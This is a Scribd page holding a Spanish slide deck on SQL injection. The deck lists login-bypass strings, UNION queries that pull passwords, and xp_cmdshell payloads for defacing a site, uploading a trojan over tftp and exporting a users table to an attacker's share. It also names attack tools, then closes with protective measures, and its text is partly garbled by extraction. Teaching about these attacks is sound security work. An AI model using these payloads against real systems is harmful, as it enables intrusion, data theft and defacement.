0% encontró este documento útil (0 votos)
151 vistas24 páginas

SQL Injection PDF

Este documento describe SQL Injection, incluyendo qué es, cómo funciona, técnicas de ataque y medidas de protección. SQL Injection ocurre cuando se ejecutan comandos SQL maliciosos a través de entradas de usuarios en páginas web. Puede usarse para robar información de bases de datos, alterar datos o causar denegación de servicio. Algunas formas de prevenirlo incluyen validar entradas de usuarios, usar consultas parametrizadas y minimizar privilegios de base de datos.

Cargado por

Xavi Luna
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
151 vistas24 páginas

SQL Injection PDF

Este documento describe SQL Injection, incluyendo qué es, cómo funciona, técnicas de ataque y medidas de protección. SQL Injection ocurre cuando se ejecutan comandos SQL maliciosos a través de entradas de usuarios en páginas web. Puede usarse para robar información de bases de datos, alterar datos o causar denegación de servicio. Algunas formas de prevenirlo incluyen validar entradas de usuarios, usar consultas parametrizadas y minimizar privilegios de base de datos.

Cargado por

Xavi Luna
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 24

SQL INJECTION

JORGE MARIO RODRIGUEZ CISSP CISM - CHFI

QUE ES SQL INJECTION


Es el uso de comandos SQL para poder alterar la informacin, ganar acceso o crear negaciones de servicio mediante la ejecucin de estos comandos a travs de pginas Webs. Este tipo de ataque aprovecha las falencias de programacin que no validan las entradas realizadas por los usuarios a nivel de URL o Formularios.

SQL INJECTION
USOS. - Acceso remoto. - Negacin de servicio. - Manipulacin de Base de datos.

PASOS
Buscar en la pgina WEB datos de entrada. (Pginas de login, formularios, etc). Identificar pginas HTML que usen POST y GET. Revisar cdigo fuente. Busque por pginas con extensiones ASP, JSP, CGI o PHP. Busque URLs que permitan el uso de variables como por Ejm. http://www.ejemplo.com/index.php?lang=Es

TECNICAS DE ATAQUE EN SQL INJECTION


Sobrepaso de autorizacin. Es usada para sobrepasar controles de autorizacin y ganar acceso. Usando el comando SELECT. Es usada para conseguir informacin de las bases de datos. Usando el comando INSERT. Usada para alterar el contenido de una base de datos. Usando procedimientos almacenados de SQL.

Formas de probar vulnerabilidades SQL Injection


xxx or 1=1-Login:xxxor 1=1-Password: xxxor 1=1-http://www.ejemplo.com/jm.asp?user=xxx or 1=1-Se deben usar mltiples opciones considerando las siguientes posibilidades: or 1=1- or 1=1- or a=a or a =a ) 0r (a`=a)

COMO FUNCIONA
Query original.

Query Alterado.

USO DE PROCEDIMIENTOS ALMACENADOS master..xp_cmdshell


Ejecucin de comandos. xxx`;exec master..xp_cmdshell comado - Ping. xxx`;exec master..xp_cmdshell ping 10.1.1.3 - Listar directorios. xxx`;exec master..xp_cmdshell dir c:\*.* /s > c:\directorios.txt - Crear archivo xxx`;exec master..xp_cmdshell echo Fuiste-hackeado > c::\hack.txt - Defacement. xxx`exec master..xp_cmdshell echo Este-es-el-peor-web-site > c:\inetpub\www.root\index.htm - Ejecutar una aplicacin (no grfica) xxx`;exec master..xp_cmdshell cmd.exe /c aplicacin.exe --

USO DE PROCEDIMIENTOS ALMACENADOS master..xp_cmdshell


Cargue de un troyano al servidor xxx`;exec master..xp_cmdshell tftp -i 10.0.2.3 GET troyano.exe c:\toyano.exe - Descarga de un archivo del servidor xxx`;exec master..xp_cmdshell tftp -i 10.0.2.3 put c:\windows\sytem32\calc.exe calc.exe --

USO DE PROCEDIMIENTOS ALMACENADOS master..sp_makewebtask


Exportar una tabla a una carpeta compartida del atacante xxx;exec master..sp_makewebtask \\192.168.9.2\compartido\claves.html,SELECT * FROM USUARIOS

SQL INJECTION

Obteniendo nombres de columnas de una tabla


http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=usuarios - Obteniendo informacion detallada de usuarios. http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 password FROM usuarios where login=pedro` -Actualizando un dato. http://www.ejemplo.com/page.asp?dato=10; UPDATE usuarios` SET password`= newpass` WHERE login=pedro` -Insertando un dato. http://www.ejemplo.com/page.asp?dato=10; INSERT INTOusuarios` (login`, nombre`, password`) VALUES (hacker`, xxxxx`, newpass`) --

SQL INJECTION
TOOLS

SQLDict Herramienta de ataque de diccionario para servidores SQL. SqlExec Ejecuta comandos en el servidor SQl usando el procedimiento almacenado xp_cmdshell. Usa una clave NULL para el usuario sa. SQLSmack Basada en Linux, permite la ejecucin de comandos, conociendo el usuario y clave de sa mediante el uso del procedimiento almacenado master..xp_cmdshell

SQL INJECTION
TOOLS
sqlmap Herramienta desarrollada en phython que tiene funcionalidades de enumeracion. Sqlninja Herramienta que explota las vulnerabilidades SQL entre las que se destacan: - Enumeracin. - Ataque de fuerza Bruta al password de sa. - Escalacin deprivilegios a sa. - Crea su propio xp_cmdshell si el original ha sido deshabilitado. - Sube ejecutables. - Usa shell de conexin inversa y directa. SQLIer Solo se le da la URL vulnerable e intenta explotarla sin interaccin del usuario,tambien realiza crack de contraseas, una contrasea de 8 caracteres puede tomar cerca de un mnuto. Automagic SQL Injector Diseada para pruebas de penetracin. Algunas de sus caracteristicas son: - Busca tablas y exporta los datos a archivos cvs. - Sube archivos al servidor. - Usa shell reverso. - Usa xp_cmdshell emulando al cmd.exe Absinthe Herramienta con entorno grfico, permite descargar el esquema y contenido de las base de datos. Algunas de sus caracteristicas son: - Inyeccin automtica de parametros SQL. - Soporte para multiples motores de DBs - Uso de proxies. - manejo de headers HTTP y Cookies.

Blind SQL Injection


Metodo usado para atacar y ganar acceso al servidor de base de datos mediante un programa tipo cliente y as ejecutar comandos SQL directamente sobre el servidor, permitiendo modificar, adicionar o eliminar informacin de la DB.

INBAND SQL INJECTION

MEDIDAS DE PROTECCION
Separacin del servidor de Aplicaciones del servido de DB. Todos los requerimientos solicitados por la aplicacin deben estar en procedimientos almacenados. La ejecucin de procedimientos almacenados se debe hacer por medio de interfases seguras como JDBC o ADO. Los procedimientos almacenados deben ser compilados antes de que la entrada de un usuario sea aceptada, haciendo imposible que la entrada del usuario modifique el query SQL.

MEDIDAS DE PROTECCION
Uso de reglas a nivel de IDS que detecten expresiones de SQL injection. Minimice los privilegios de conexin a la DB. Realice hardening de la cuenta sa Audite cdigo fuente. Valide las entradas en los campos de texto. No use SQL dinmico, trate de usar consultas parametrizadas o procedimientos almacenados. No almacene informacin sensible en texto claro. Use errores personalizados y evite revelar datos sensibles cuando ocurre un error. Use herramientas de monitoreo como SQLBlock. Realice pruebas de vulnerabilidad con herramientas que se especializadas en SQL injection (Acunetix)

También podría gustarte